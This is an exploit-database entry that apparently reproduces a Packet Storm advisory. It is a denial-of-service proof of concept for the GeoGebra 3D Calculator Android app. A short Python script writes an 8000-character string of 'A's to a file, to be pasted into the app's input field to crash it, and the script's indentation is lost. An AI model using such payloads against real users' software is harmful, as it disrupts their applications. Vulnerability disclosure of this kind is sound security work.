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## https://sploitus.com/exploit?id=PACKETSTORM:161814
# Exploit Title: GeoGebra 3D Calculator 5.0.511.0 - Denial of Service (PoC)  
# Date: 2021-03-15  
# Author: Brian Rodríguez  
# Software Site: https://www.geogebra.org/download  
# Download Link: https://play.google.com/store/apps/details?id=org.geogebra.android.g3d&utm_source=Download+page&utm_medium=Website&utm_campaign=3D+Calculator+for+Android  
# Version: 5.0.511.0  
# Category: DoS (Android)  
  
##### Vulnerability #####  
  
Graficador GeoGebra 3D is vulnerable to a DoS condition when a long list of characters is being used in field "Entrada..." text box.  
  
Successful exploitation will causes application stop working.  
  
I have been able to test this exploit against Android 10.0.  
  
##### PoC #####  
  
#!/usr/bin/env python  
buffer = "\x41" * 8000  
  
try:  
f = open("payload.txt","w")  
f.write(buffer)  
f.close()  
print ("File created")  
except:  
print ("File cannot be created")